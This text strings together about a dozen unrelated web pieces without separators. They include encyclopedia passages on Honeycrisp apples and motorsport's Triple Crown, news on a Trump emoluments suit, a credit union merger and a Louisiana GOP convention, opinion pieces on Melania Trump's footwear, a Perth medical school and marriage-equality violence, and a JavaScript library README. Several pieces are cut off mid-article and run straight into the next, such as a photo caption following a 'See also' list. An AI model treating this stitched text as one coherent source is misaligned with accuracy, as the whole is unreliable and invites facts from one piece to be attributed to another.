Honeycrisp apples are projected by the US Apple Association to be in fifth place for America's favorite apple; by 2020, it is expected to be the third-most-grown cultivar.[7]
Genetics [ edit ]
U.S. Plant Patent 7197 and Report 225-1992 (AD-MR-5877-B) from the Horticultural Research Center indicated that the Honeycrisp was a hybrid of the apple cultivars 'Macoun' and 'Honeygold'.[1] However, genetic fingerprinting conducted by a group of researchers in 2004, which included those who were attributed on the US plant patent, determined that neither of these cultivars is a parent of the 'Honeycrisp', but that the 'Keepsake' (another apple developed by the same University of Minnesota crossbreeding program) is one of the parents.[8] The other parent was identified in 2017 as the unreleased University of Minnesota cultivar designated MN1627. The grandparents of Honeycrisp on the MN1627 side are the Duchess of Oldenburg and the Golden Delicious.[9]
The US patent for the 'Honeycrisp' cultivar expired in 2008, though patent protection in some countries continues until as late as 2031.[5] Patent royalties had generated more than $10 million by 2011, split three ways by the University of Minnesota between its inventors, the college and department in which the research was conducted, and a fund for other research.[3][5] The University of Minnesota crossed Honeycrisp with another of their apple varieties, 'Minnewasheta' (brand name Zestar!), to create a hybrid called 'Minneiska' (brand name SweeTango),[10] released as a managed variety to control how and where it can be grown and sold.[3]
Agriculture [ edit ]
Honeycrisp apple flowers are self-sterile, so another apple variety must be nearby as a pollenizer in order to get fruit. Most other apple varieties will pollenize Honeycrisp, as will varieties of crabapple.[11] Honeycrisp will not come true when grown from seed. Trees grown from the seeds of Honeycrisp apples will be hybrids of Honeycrisp and the pollenizer.[1]
Young trees typically have a lower density of large, well-colored fruit, while mature trees have higher fruit density of fruit with diminished size and color quality.[12] Fruit density can be adjusted through removal of blossom clusters or young fruit to counteract the effect.[12] Flesh firmness is also generally better with lower crop densities.[12] Bitter pit disproportionately affects honeycrisps, typically 23% of the harvest is affected.[13]
International growth [ edit ]
As a result of the Honeycrisp apple's growing popularity, the government of Nova Scotia, Canada spent over C$1.5 million funding a 5-year Honeycrisp Orchard Renewal Program from 2005 to 2010 to subsidize apple producers to replace older trees (mainly McIntosh) with newer higher-return varieties of apples, the Honeycrisp, Gala, and Ambrosia.[14][15]
Apple growers in New Zealand's South Island have begun growing Honeycrisp to supply consumers during the US off-season.[16] The first batch of New Zealand-grown Honeycrisp cultivars being introduced to the North American market have been branded using the "HoneyCrunch" registered trademark.[17][18] According to the US Apple Association website it is one of the fifteen most popular apple cultivars in the United States.[19]
In culture [ edit ]
In 2006, Andersen Elementary School in Bayport petitioned for the Minnesota state legislature to make the Honeycrisp apple the state fruit; the bill was passed in May 2006.[20]
In the early 90s, a Minnesota orchardist, Chuck Nystrom, discovered an open cross-pollination between Honeycrisp and an unknown variety, resulting in a new variety called SugarBee.[21]
See also [ edit ]
Horticulture
Minneiska (SweeTango), a hybrid of Honeycrisp and Minnewasheta (Zestar!)
The suit argues that Donald Trump's business ties run afoul of the Constitution's foreign emoluments clause, which bars federal officials from receiving benefits from foreign governments. | Saul Loeb/AFP/Getty Images Judges sets Oct. 18 arguments in Trump foreign emoluments suit
A lawsuit contending that President Donald Trump's business dealings with and in foreign countries violate the Constitution is set to get a public airing in October in a New York federal courtroom.
U.S. District Court Judge George Daniels issued an order Wednesday setting oral arguments for Oct. 18 on a suit the liberal watchdog group Citizens for Responsibility and Ethics in Washington filed in January. The suit argues that Trump's business ties run afoul of the Constitution's foreign emoluments clause, which bars federal officials from receiving benefits from foreign governments.
The Justice Department's final response brief in the case is due Sept. 22.
Daniels took over the case last month after Judge Ronnie Abrams recused herself, apparently because her husband accepted a job as a prosecutor on the staff of Robert Mueller, the special counsel probing alleged collusion between the Trump campaign and Russia. Abrams is an Obama appointee. Daniels is a Clinton appointee.
The suit is one of about half a dozen lawsuits targeting income Trump derives from foreign sources. One of those additional cases is pending before Daniels. The other are before federal courts in Washington, D.C., Greenbelt, Maryland, and West Palm Beach, Florida.
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The Trump Organization says its Washington hotel and similar businesses have voluntarily implemented procedures to identify profits from foreign government sources and divert those to the U.S. Treasury.
The Justice Department is defending Trump in the litigation and contends that the foreign emoluments clause does not cover routine business payments, even if foreign governments are involved.
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Data mining has become a part of the gaming industry, and such can be applied to Ubisoft's fighting-themed title For Honor. Miners -- thanks to their never-ending curiosity -- were able to discover some interesting stuff. What exactly are these? Well, they're basically the unreleased art of two upcoming characters -- namely, the Ninja and the Centurion. Not just that, though. A look at the mythic outfits and ornaments has also been acquired.
According to PVP Live, For Honor data miners were able to obtain these details (see video below) from the files of the game's latest update. Apparently, these new cosmetics are expected to arrive to the game on a regular basis. And if this is the case, then it's likely for the studio to introduce them in the next few weeks or so. It's worth noting that few of these have already arrived, but not all of them have found daylight within the game.
The most exciting part of this, though, are the supposed new characters. It should be noted, that they have somehow been leaked. However, their looks were nothing as close as to this discovery. There's no doubt that these heroes will become huge additions to the game. But like the aforementioned items, these characters have no official release date yet.
Reports suggest that each For Honor character is entitled to a mythic outfit (the ones hidden in the game files). Each of them come with very unique color combination as well as design patterns. Add to this the fact that they also have distinctive ornaments. But hey, players might have to worry a bit. That's because these outfits cost at least 30,000 Steel each. Nonetheless, players have to option to acquire them via bundles, which already come with cheaper cost per cosmetic set.
In related For Honor news, GameRanx reports that Ubisoft is set to release a new update for the game. This, in particular, is designed to fix a couple of bugs and performance issues. It's called update 1.05 and is expected to arrive anytime next week.
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The first printer to arrive was the Ordbot Hadron from Punchtech.com and my initial impressions are quite good. The Ordbot is different in design than any other printer I have ever owned or played with, and I can say that it really surprised me. I spend a few hours on Christmas day printing some test prints, and just having fun with the new printer.
On the day after Christmas, FedEx delivered another printer, this time it was a Taz 3.0 from Lulzbot.com. I have been waiting on this printer for several months now, and have known about it for quite some time. Having owned a Lulzbot AO-100 for quite some time now, I have very high expectations for the Taz 3.0. and can not wait to begin testing.
I have also received my first samples of filament from Voltivo, who's ExcelFil ABS and PLA filaments are some of the best in the industry. Over the next few months I will be conducting extensive testing on its filament, and will be using it exclusively in testing for my reviews. I chose Voltivo ExcelFil because of its high-quality, transparency on composition, and customer support. With a high-quality, extremely consistent filament being used on each review, I know that my results will not be skewed by bad, cheap, and low quality plastic.
The heels in question. (Washington Post photo illustration; Jim Watson/AFP/Getty; iStock)
About US is a new initiative by The Washington Post to cover issues of identity in the United States. Look for the About US newsletter launching this fall.
It’s hard to steal the spotlight from President Trump, but the first lady managed it this week when she stepped out from the White House in a pair of sleek, black pumps. This wouldn’t have been a notable choice for the typically glamorous Melania Trump, had she and her husband not been en route to Texas to survey the damage wreaked by Hurricane Harvey.
Social media was swift to criticize and mock her choice of footwear for the occasion.
Melania heard they needed pumps — Alexandra Petri (@petridishes) August 29, 2017
All the outrage raised the obvious, uncomfortable question: Was it sexist to criticize Melania’s choice to wear heels? After all, it’s now become faux pas to criticize the appearance of a woman in power, thanks to years of condemning the practice. A man wouldn’t be judged the same way, the argument goes. But Trump’s heels struck a nerve with the progressive corners of the Internet that normally shun such critiques.
I wouldn't normally comment on Melania's shoes but I'm not sure if this is what you wear to go meet ppl who've lost all of their belongings https://t.co/TP3YYgPIwj — Zerlina Maxwell (@ZerlinaMaxwell) August 29, 2017
Yes, women in politics should not be held to a different standard than men. But as the role of first lady is a wholly symbolic one, everything a woman in that position dons and does is inherently loaded with symbolism, including her attire. As we saw with Michelle Obama, clothing choices are often meant to send messages about reliability, convey strength or health, or to underscore an allegiance with a foreign ally.
Obama famously faced endless criticism for her appearance starting with her very first official portrait, with some thinking her bare arms were too informal or inappropriate for the winter season.
But the backlash to Trump’s heels was not so much about gender as it was about class.
[Maxine Waters and the burden of the ‘strong black woman’]
Flying into a disaster zone, wearing what appeared to be Manolo Blahnik pumps that convey that you will definitely not be sharing in anyone’s pain or discomfort that day, sends the absolute wrong message. As The Washington Post’s Robin Givhan noted, the ensemble “suggested that Trump is the kind of woman who refuses to pretend that her feet will, at any point, ever be immersed in cold, muddy, bacteria-infested Texas water. She is the kind of woman who may listen empathetically to your pain, but she knows that you know that she is not going to experience it.”
As her defenders noted, Trump changed her shoes for her arrival in Texas, switching into a pair of pristine white sneakers. This was a far more appropriate choice for walking around a disaster site, and probably would have saved Trump a good deal of grief had she worn them from the start. But it is again noteworthy that those glistening Adidas aren’t meant to get dirty, and observers know they probably won’t.
Melania Trump changed into sneakers to take part in a briefing on Harvey relief efforts on Aug. 29 in Corpus Christi, Tex. (Evan Vucci/AP)
Additionally, Trump wore the heels not because they were practical, but because she would be photographed outside the White House as she departed for Texas. Instead of understanding that her attire would signal the tone of the visit and ostensibly assure that “help was on the way,” she instead sought to look attractive for the cameras.
The heels imply to Trump’s watchers that she wasn’t thinking about others, but rather, that her primary concern was herself. Perched atop her pumps, she becomes a caricature of the one percent.
[‘What’s up with the Nazi flag?’: A lifelong Southerner goes to battle over neighbor’s display]
It underscored the shallowness that many perceived from the visit. The Trumps didn’t actually tour any true disaster sites or reportedly meet with victims, and the president’s “rally” in Corpus Christie was actually pretty removed from anyone who lived there.
As a former model, Trump should understand the power of clothing and the significance with which she can imbue them. She should understand that context is important with fashion, and that in era of social media, what she wears and how she wears it will be dissected within a matter of minutes.
In a statement, a spokesman for Trump said, “It’s sad that we have an active and ongoing natural disaster in Texas, and people are worried about her shoes.”
But the fact that there is an active an ongoing disaster in Texas is precisely why it’s worth talking about the shoes. When you contrast the images of Texans wet, bedraggled, and struggling to save a few of their most precious possessions with a first lady that’s heading into the same situation wearing a pair of ostentatious, impractical heels, it’s not a good look.
More from About US:
Stop trying to make ‘millennial’ happen
From idea to action: White supremacy’s new visibility
"It is rare to find two credit unions whose culture, business approach and member origins align as well as First Community and Citizens," Schmitz said in a statement. "We look forward to working with the Citizens team to continue our shared history of exceeding the needs of our commercial and consumer members."
The National Credit Union Administration removed the leadership of CCCU when the federal agency placed the credit union into conservatorship earlier this year. There were few details on why the NCUA called for the conservatorship, other than to say the agency discovered the credit union, with more than 11,000 members, was using "unsafe and unsound practices."
An NCUA report for CCCU's first quarter showed a net loss of almost $1 million with $10.8 million of delinquent loans across 117 accounts as of March. That was almost 10 times the dollar amount at the end of 2015, when there were 91 delinquent loans worth $1.2 million.
That number jumped to almost $12.3 million spread across 167 delinquent loans, according to an NCUA call report published Sept. 30.
CCCU also had $8 million in net losses for this year through September, compared with a net income of $125,650 during that timeframe last year. It had about $186 million in total assets and net worth of almost $12.9 million as of the Sept. 30 call report. That's down from a net worth of $20.6 million and total assets of $195.5 million as Sept. 30, 2016, according to NCUA.
"First Community Credit Union completed extensive due diligence, and while there were some loan issues, Citizens Community Credit Union was adequately funded to cover reserve requirements," Schmitz said in a statement. "We're excited about the opportunity to grow our Credit Union. Citizens has a strong history of operating for more than 77 years and when you combine that with First Community's experience, we're confident that we'll be stronger together."
The transaction should close Jan. 1 with the operational merger expected to take place later next year, according to the release. After that, FCCU will have about $800 million in assets.
CCCU will exit conservatorship status Jan. 1, NCUA spokesman John Fairbanks wrote in an email.
"Citizens Community Credit Union has a proud tradition of serving its local communities and the region as a member-owned credit union," interim CCCU CEO Jay Chapin said in the statement. "We could continue our respective community credit union traditions while capitalizing on the benefits that come with being a larger credit union."
Since CCCU still is under conservatorship, Fairbanks declined to comment on whether the NCUA was satisfied with CCCU's financial status or if the agency had a role in encouraging the CCCU to merge with another credit union.
Formed in 1940, CCCU has nine locations in North Dakota with the main office in Devils Lake —and one in East Grand Forks, Minn. Claiming to be the largest credit union in North Dakota, FCCU was founded in 1939, has 15 branches across North Dakota and serves more than 32,000 members, according to its website.
A year later, I’ve tried to see if what I coded works on iPhone 4. Surprisingly it worked quite smooth. So I decided to improve the code base, that had zero accessibility and relied on inline styling.
This time I decided to separate completely the styling, so it be made only with CSS. Something that allowed me to take it to other directions from ‘Pie menus’.
Also, I decided to release it because it would be useless if it only sits on my hard drive and I hope people make cool stuff with it. I wouldn’t call the code production ready, but for small experimental stuff, it should be fine.
Demos
Links: demo 1, demo 2, demo 3.
Pie menu demo:
Dropdown menu demo:
Untitled menu demo:
Using the code
The structure of a button in the DOM:
<div class="button {{is-has-menu}} {{is-menu-items-length-#}} {{is-open / is-close}}" aria-pressed="true"> <div class="button-container"> <button aria-labelledby="button-label-uid-####" class="button-button" data-title="{{title}}"></button> <span id="button-label-uid-####" aria-hidden="true" class="button-title">{{title}}</span> </div> <ul aria-labelledby="button-label-uid-####" class="button-menu {{is-menu-items-length-#}}" role="menu"> <li role="menuitem" class="button-menu-item">{{sub menu button}}</li> </ul> </div>
As you can see, I’ve tried to give common states a class. All state classes start with is prefix. In addition every DOM element in the button has its unique class name.
As you can see, “CSS super specificity” can happen easily, but I think it pays a small price comparing to coupling the javascript code with styling.
Example of using it:
new Btn('Menu') // creating `Btn` instance with the title "Menu" .addClass('skin-menu') // adding CSS class to `.button-container` for styling .append( // append child to "Menu" new Btn('Button') // creating `Btn` instance with the title "Button" .addClass('skin-link') // adding CSS class to `.button-container` for styling .on('click', function() {}) // adding `onclick` DOM event to "Button" ) .appendTo( '#wrapper' ); // adding "Menu", to `#wrapper`
Important note: It may seems like jQuery style syntax, but the only connection is that both concatenate.
Right now the documentation is very poor, but I hope the demo files will be clear enough until I make a better documentation.
Browser supports
Chrome, Firefox, Safari, Android 4+, IE 10+.
or any browser that supports classList
of course if you want to use animation, at least CSS Transitions support is necessary
Tested on: Chrome, Firefox, IE 10+, Safari 6.1, iOS 6.1+, Android 4+ and IE Mobile 10.
It works smooth on Chrome, iOS Safari & IE (desktop). On IE, there is a bug with requestAnimationFrame , so I’ve cancelled the use of it specific on IE.
It's buggy on Safari, Firefox & IE Mobile. I think it’s related to heavy use of CSS Transforms .
Also it’s laggy on cheap Android devices, IE Mobile (Nokia Lumia) & Opera Presto.
Roadmap
A bit bold word to such a tiny project. But…:
improve documentation or shall I say making one ;) improve and adding functions to the interface improve performance improve accessibility (example: links will be converted from <button> to <a>) improve code quality changing CSS prefix, and be able to change it from a function adding the ability to reuse elements from the DOM instead of creating them
Of course, if you have ideas, I be glad to hear.
Fork it!
The proposed medical school at Curtin University has seen our students become increasingly angered and disappointed not just with the misrepresentation and manipulation of facts by various media outlets and the Curtin University propaganda machine, but with an increasingly political and disingenuous debate.
This issue is too important to be mere political fodder. The consequences of another ill-conceived and poorly evidenced proposal will be disastrous. The entire training pipeline must be considered in this argument and the state government and Curtin need an urgent fact check.
This issue is complex. We are not elitists trying to protect our patch; we are simply students with experience in an overwhelmed system trying to be heard. Since I last wrote about the topic, Premier Barnett has continued his misguided support of the proposal and many doctors in the eastern suburbs have jumped on board the promise of a new medical school now conveniently relocated to the city’s east (and key election battleground).
Students are concerned because we are already competing for clinical exposure with what has been an enormous increase not just in medical students (148% in just 5 years) but also in physiotherapy, nursing, occupational therapy and paramedic students. We are already starting to miss out on vital skills training because paramedics are intubating patients instead of student doctors and we are on surgical teams with 8 students, 2 interns, an RMO, 3 registrars and 2 consultants. When we graduate there is a well known shortage of internships that the state government has been miraculously solving at the eleventh hour in previous years but, as I write, 10 students from UWA are without an internship in 2014. After that, Kim Hames has only publically committed the WA Health system to 310 internships by 2015 – despite UWA and UNDA predicted to graduate at least 330 students in that year. This year we have had 2000 applicants for 700 vocational training positions in Western Australia. Our system is desperately under equipped to train those who are already in it.
As all good politicians do, Curtin has jumped on the Eastern suburbs bandwagon as though it is the last frontier of medical training. The location of a medical school has zero capacity to determine where a student will end up working. Their background may but Curtin has outlined no public commitment or plan to actually recruit from Perth’s eastern suburbs. We do have data showing that student experiences in medical school as well as their background can help determine their future careers. This is why at UWA there is a 25% quota for students with a rural background (the second highest in the country) as well as a separate specialised pathway of entrance for Indigenous students and students from outer metropolitan areas. Curtin wants to introduce just a 20% quota for all of those categories– a move which is far below the national average or target.
There are already many students recruited from and training in outer metropolitan and rural areas. From my conversations with students, placements in these areas are highly sought after because of the opportunity to work somewhere slightly less crowded with students than Perth’s tertiary hospitals. With the development of the new Midland Hospital, more and more students from UWA and UNDA will continue to be placed and trained in the city’s eastern suburbs.
Much of Curtin’s argument has been based on the current and predicted GP shortage, particularly in outer suburban and rural areas. While this is largely accepted, none of Curtin’s proposals will fix these problems. We do have a shortage of GPs but not of doctors or medical students. In 2007-11 alone, overall medical practitioner numbers in Australia increased by 17.3% but GP numbers grew by only 3.9% over that time – or less than 1% per year. At the heart of the problem is a maldistribution issue and, unlike James Cook University for example, Curtin has no clear goal, strategy or intention of a genuine alleviation of problems except for quoting the buzzwords “rural doctor shortage” and “Midland” in the media.
I am a student of UWA but I am also a student with a rural background and from the outer suburbs of Perth. So are many of my friends. My colleagues and I are training in nearly every private and public hospital in this state. We do placements at KEMH, PMH, Joondalup, Osborne Park, Bethesda, Hollywood, SJOG, Peel Health Campus, Bentley Hospital, Kaleeya, Mercy Hospital, Perth Clinic, Swan Districts, Armadale-Kelmscott, Brightwater Aged Care, SCGH, RPH, Fremantle, Rockingham, Graylands, Aboriginal Medical Services across the state, Perth’s Sexual Health Clinics and Next Step Rehabilitation Services. We do rotations of up to 12 months in Kununurra, Broome, Derby, Fitzroy Crossing, Halls Creek, Wyndham, Meekatharra, Port Hedland, Karratha, Geraldton, Morawa, Moora, Merredin, Northam, Jurien Bay, Kalgoorlie, Wiluna, Collie, Wagin, Esperance, Laverton, Leonora, Albany, Pemberton, Denmark, Bunbury, Busselton, Dunsborough and everywhere in between. Some students even complete their compulsory rural rotation in the Federal-zoned “rural” area of Falcon because placements are so stretched.
We have been converted from wanting to be surgeons of the left ear to wanting to be generalist physicians, rural GPs and rural obstetricians. We have benefited from programs such as the John Flynn Placement Program, the Rural Australia Undergraduate Medical Scholarship (RAMUS), Medical Rural Bonded Scholarship (MRBS) and the Rural Clinical School (RCS).
Investing money in another medical school is a disaster waiting to happen. We need to invest in the now. We need more GP training posts, we need to help those current students and juniors who want to be GPs in the eastern suburbs and rural areas to get there and we need to examine and improve clinical training for the current and future UNDA and UWA students before we even consider looking at another medical school
We are on our way.
But, who is going to support us?
All statistics taken from the 16th Medical Training Review Panel (MTRP Report) 2013, the Australian Bureau of Statistics Population Projections, Australia, 2006 to 2101, 2008 and the Australian Bureau of Statistics Australian Social Trends, April 2013
"All world records are simply bullshit"
Growing suspicion
Parting ways as an IAAF informant
Pro Tip: if you see/hear/feel/know something, don't post on Twitter or talk about it in interviews. Element of surprise is key. #cleansport — David Torrence (@David_Torrence) June 20, 2016
The Triple Crown of Motorsport is an unofficial motorsport achievement, often regarded as winning three of the most prestigious motor races in the world in one's career:[1][2][3][4]
For eleven years (1950–1960) Monaco and Indianapolis were part of the FIA World Championship of Drivers (now synonymous with Formula One) but in 1961 Indianapolis was dropped from the World Championship series.[5]
Graham Hill is the only driver to have completed the Triple Crown. 19 drivers in motorsports history have competed in all three legs of the Triple Crown and have won at least one of the events.[6] Juan Pablo Montoya and Fernando Alonso are the only active drivers to have won two of the three events.
Alternative definitions [ edit ]
Including F1 Drivers' Championship [ edit ]
An alternative definition, as espoused by Triple Crown winner Graham Hill, and Jacques Villeneuve[7] replaces the Monaco Grand Prix with the Formula One World Championship; Graham Hill is also the only driver to have accomplished this, winning the F1 Drivers' Title in 1962 and 1968.[8][9][10]
Endurance racing [ edit ]
Endurance sports car racing has its own Triple Crown which features Le Mans and has added the 24 Hours of Daytona and the 12 Hours of Sebring. This crown has been won by several drivers, namely A. J. Foyt, Hans Herrmann, Jackie Oliver, Jacky Ickx, Al Holbert, Hurley Haywood, Mauro Baldi, Andy Wallace, Marco Werner and Timo Bernhard. Many drivers have come close to winning the crown with 2nd-place finishes in the third event, such as Ken Miles (who was famously denied the win by a technicality at the 1966 24 Hours of Le Mans), Mario Andretti (Le Mans 1995) and Allan McNish (Daytona 2012).
IndyCar racing [ edit ]
In the period of 1971–1990, Indy car racing contested their own Triple Crown. From 1971 to 1980 it consisted of the three 500-mile events on the calendar: the Indianapolis 500, Pocono 500, and California 500. Al Unser (1978) is the only driver to win all three in the same season. Ontario Motor Speedway was closed in 1980, and the California 500 was replaced with the Michigan 500. The triple crown continued through 1989, after which the Pocono race was discontinued. No driver won all three events during the 1980s.
The IndyCar Triple Crown was revived in 2013, with the 1971–80 format of the Indianapolis 500 (in May), Pocono IndyCar 400 (in July), and the MAVTV 500 (in October, held at Fontana). A $1 million bonus prize is offered for any driver to win all three races.[11]
For 2014, Pocono returned to the 500-mile format, Fontana was moved to the season ending race in August and all three events awarded double championship points. Since the California 500's return under IndyCar sanction, it has been a night race.
In 2015, Fontana will move to July, while Pocono will be the penultimate race of the season in August. Of all variations of the IndyCar Triple Crown, only five drivers have achieved the feat over their career, with Al Unser the only one to achieve it in a single season.
NASCAR [ edit ]
Since 2005 an unofficial Triple Crown, formed of the three surviving legs of NASCAR's Grand Slam (the Daytona 500, Aaron's 499, and Coca-Cola 600) after the Ferko lawsuit took out the final leg (Darlington's Southern 500 in the autumn — not to be confused with the Rebel 500 in May) in favour of a second race at Texas Motor Speedway, has been established. No driver who made their first start in a NASCAR Sprint Cup race since 2005 has won more than one of the three jewels. So far, of active drivers, Kevin Harvick and Jimmie Johnson have won all three legs of the Triple Crown, but not all three in the same year. Even when Darlington's sole race returns to Labor Day weekend in autumn since 2014, neither of them have won in that time slot.
NHRA [ edit ]
The term is often used during the season in the National Hot Rod Association to refer to its three most prestigious races, the Winternationals, the U.S. Nationals, and the Finals. The Winternationals is the event that kicks off the NHRA season, held during the second weekend in February, the U.S. Nationals is often called "The oldest, richest, and most prestigious race in the NHRA," and carries the largest purse of any event on the schedule, and the Auto Club Finals at Pomona are held to mark the end of the NHRA season.
Both the Winternationals, and the Auto Club Finals are held on the same track, Auto Club Raceway at Pomona, while the U.S. Nationals has been held at Lucas Oil Raceway in Indianapolis since 1961 (prior to that, the race was held on a now demolished track in Detroit). By far, the person with the most Triple Crown wins in his division is 16-time funny car champion John Force.
American motorsport [ edit ]
A. J. Foyt and Mario Andretti are the only drivers to have won both the Indianapolis 500 and the Daytona 500. Both drivers also won the 24 Hours of Daytona and 12 Hours of Sebring. Foyt won four editions of the Indianapolis 500, and collected seven open-wheel titles and a 24 Hours of Le Mans win. Mario Andretti won three editions of the 12 Hours of Sebring, the 1969 Indianapolis 500, and also won four open-wheel titles, a Formula One world championship, and a class win and 2nd overall finish at the 24 Hours of Le Mans.
Australian motorsport [ edit ]
In Australia, a driver is said to have achieved the "Triple Crown" if they win the Sandown 500, the Bathurst 1000 and the International V8 Supercars Championship (formerly the Australian Touring Car Championship) in the same year.[12] Only two drivers have achieved this feat: Peter Brock in 1978 and 1980 and Craig Lowndes in 1996.
Active competitors who have completed two legs of the Triple Crown [ edit ]
As of January 2019 , the only active drivers who have won two legs of the Triple Crown are former Formula 1 drivers Juan Pablo Montoya and Fernando Alonso. Both have won the Monaco Grand (Montoya in 2003 and Alonso in 2006 and 2007). Montoya won the Indianapolis 500 twice (2000 and 2015) while Alonso won the 24H of Le Mans in 2018 and competed in 2017's Indy 500, but retired on Lap 179 of 200 due to engine failure, after having led 27 laps.[13]
List of Triple Crown winners [ edit ]
Events which make up the traditional (Indy 500 / Le Mans 24hr / Monaco GP) and the alternative (Indy 500 / Le Mans 24hr / F1 WDC) definitions are included below.
Driver Indianapolis winner Le Mans winner Monaco Grand Prix winner F1 World Champion Graham Hill 1966 1972 1963, 1964, 1965, 1968, 1969 1962, 1968
The drivers listed below have completed two of the three legs for either version of the Triple Crown.
Key: Active drivers are highlighted in bold.
A 14-year-old Dubbo girl posted a message on Facebook last week, urging support for marriage equality. Among the many messages of support she received was another comment, allegedly posted by the father of a school friend: “Kk WTF? I ain’t fukin playing no more, u now what I’m capable of bitch. I am [name’s] father. Call me b4 I come n drop bombs, it’s my time to shine because straight up. U want me to come with a 9,mm.”
NSW police are investigating the incident.
In Queensland, Kevin Rudd’s godson was allegedly punched in the face by a No supporter while out campaigning for marriage equality. A 48-year-old man has been charged.
In Tasmania, a marriage equality supporting cafe owner received a phone call allegedly threatening to burn down his business and murder his dog.
Those are just some examples of incidents that have happened since the campaign began. We could go back further.
We could go back to the suicide last year of Tyrone Unsworth, a gay Brisbane teen who was quite literally bullied to death. We could go back to countless examples of violence, intimidation and murder — all motivated by homophobia — stretching back decades in Australia.
Gay Australians Have Always Lived With Violence
Every LGBTIQ+ Australian has their own stories, whether it’s an intimidating man in a bar, a slur yelled with cowardice from a moving vehicle, or actual physical violence in the streets. It happens in schools, in businesses, at sporting events and on social media every single day. It is our lives.
The alleged assault of Tony Abbott by a man wearing a Yes badge is rightly receiving a lot of attention today. When a former prime minister is assaulted by a member of the public, it is worthy of every front page in the country. It is rightly being condemned by all sides. The man who allegedly headbutted Abbott has done more to help the No side than probably any other moment throughout this tortuous campaign.
There is absolutely no place for violence in the marriage equality debate. This is about treating people fairly and with respect & dignity. — Alex Greenwich MP (@AlexGreenwich) September 21, 2017
The assault is predictably being used by the No campaign as supposed evidence of the inherent violence of marriage equality supporters. But the assault of Tony Abbott is no more or less abhorrent than violence against everyday Australians that doesn’t make the front page of newspapers simply because the victims are not as high profile as the former Prime Minister.
The government was warned that this campaign would turn nasty. Marriage equality supporters screamed from the rooftops that a national debate on the humanity of LGBTIQ+ people would have severe consequences for our emotional, mental and physical health. That wasn’t a hypothetical. It came from our lived experience of growing up gay in Australia and fearing for our safety. We knew that when confronted by a nasty debate about the worthiness of gay people, some people react with warmth and empathy while others react with fear, hatred and violence.
Let's be clear, #marriageequality is about respect. There is no room for disrespect verbal or physical from any side in this journey — Tiernan Brady (@Tiernanbrady) September 21, 2017
We Have A Choice About What We Learn From This
This moment could very well be a turning point in the campaign, but it’s also an opportunity for opponents of equality to understand the fear of violence that many LGBTIQ+ Australians live with every day.
Many people ask what the point of a Yes vote is, given the (false) assertion that LGBTIQ+ already have equal rights. The answer is that an Australia that votes for marriage equality will be a fundamentally more fair, equal and accepting society, and we’ll all be better for it.
Violence will not end overnight if the Yes vote succeeds, but a Yes vote will instil in this nation the idea that LGBTIQ+ people are worthy of equality and acceptance. That will make Australia a better and safer place. It will be place in which a gay couple doesn’t have to question whether it’s safe to hold hands in public. It will be a place where a teen can be free to be themselves without the fear of retribution. It will be a place where the children of same-sex couples will grow up seeing their parents as equal to all of the other families in the schoolyard.
It will be a fundamentally better place.
A lot of people will talk about Tony Abbott today. But let’s not forget about the countless LGBTIQ+ Australians who have suffered in silence for decades.
If you’d like to talk about any issues with your mental health and options getting help, you can reach Lifeline on 13 11 14, or beyondblue on 1300 22 4636.
The full statement from the Paul campaign is below, but for some context of what precipitated the chaos, Jonathan Tilove's scene-setter in the New Orleans Times-Picayune is essential reading.
Paul, a Texas a representative who is retiring from the House after this year, decided in mid-May to pare back his presidential campaign and to no longer compete in primaries or caucuses that had not yet taken place. But he encouraged his supporters to continue to compete for delegate spots to the Republican national convention in August, and the events in Louisiana are the latest evidence that they are doing so with a passion.
Here is the full statement from the Paul campaign:
LAKE JACKSON, Texas -- The Ron Paul 2012 Presidential campaign released the following statement concerning the outcome of the Louisiana State Republican Convention. Below please find comments from National Campaign Manager John Tate: “The Ron Paul campaign condemns the unfortunate activities that took place at the Louisiana Republican State Convention in Shreveport. “However, we also wish to highlight and applaud the fact that the convention ended on a high note reflective of the cooperation all Republicans wish to see toward the mutual aim of defeating President Obama in the November general election. “The unnecessary conflict, and positive conclusion as we understand it, transpired as follows. “LAGOP officials ignored the vast majority of duly elected delegates and attempted to use illegally adopted rules to deny Ron Paul supporters an opportunity to attend the Republican National Convention in Tampa. Louisiana has 46 delegates. Five were pledged to Mitt Romney based on the March 23rd primary result and Rick Santorum received 10, meaning most delegates were contestable at the state convention. “Delegates to the state convention were chosen at caucus meetings on April 28th. Ron Paul slates won four of six congressional district contests. Of the approximately 180 delegates attending the state convention, 113 voted to remove the LAGOP chairman when he failed to respond to requests for information and other motions from delegates. Nearly two-thirds of the delegates began physically moving their chairs, literally turning their back on the GOP chair appointed by the party hierarchy. “In another instance, State Central Committeeman and Ron Paul supporter Henry Herford Jr. of Franklin Parrish was attacked by some security officials who didn’t realize that the body had voted out the previous chairman. Mr. Herford has a prosthetic hip and according to a doctor at the scene it appears as though the prosthetic was dislocated and may require replacement. The injury occurred as he was beginning to call to order the newly re-formed convention. “In yet another instance, Ron Paul supporter Alex Helwig, Chairman of the Rules Committee who made the motion to remove the chair, was arrested by Shreveport police and released. During his brief detainment, some of his fingers were broken and when he returned to the event he was walking with aid of a cane. “By 10:50 a.m. today, the newly formed convention completed its work. Newly-elected national delegates met with the Romney campaign’s Louisiana Chairman, Scott Sewell, who graciously said ‘that he supported the effort and would do everything he could to make sure the delegation was seated’ in Tampa. “Despite the divisiveness that characterized the Louisiana state convention initially, we are thankful that the Paul and Romney campaigns took the high road to guarantee the enfranchisement of Republicans whose candidate preferences differ. “Republicans of goodwill agree that following the spirited primary season, the general election presents us with an opportunity to defeat Obama and place the nation on a path to recovery. “Our thoughts and prayers are with those who were injured at the convention. And, we thank all responsible convention participants for ending the day on a more unified note.”
A site called PolicyMic.com has posted remarkable video of what is apparently a Ron Paul supporter being removed by police from the state convention.
The site says the man arrested was "Alex Helwig, Ron Paul Rules Chairman, who was elected legitimately by the majority delegation."
Following Helwig's removal, nearly all of the delegates in the room vote by voice to turn away from the podium at the front of the room, reposition their chairs, and sit en masse facing the opposite direction. It's not clear from the video whether this is only an act of defiance or whether they intended to continue their own proceedings in the same room under the direction of a different chairman or chairwoman.
Posted
One of Queensland's longest-running land disputes has been resolved, with more than 118,000 hectares of land handed back to traditional owners at Cape York.
Key points: New national park will be co-managed by the Government and Wuthathi people
The land is home to several threatened species, including the palm cockatoo
Former prime minister Bob Hawke rejected a sand mine at Shelburne Bay in 1987
Treasurer Curtis Pitt visited Lockhart River in the state's far north today to officially hand over the area, known as Shelburne Bay, to the Wuthathi people.
It is known for its brilliant white silica sand dunes, which are hundreds of metres high, and is also home to several threatened species including the palm cockatoo.
Traditional owner Phil Wallis said his people had been fighting to take back their homeland for 20 years.
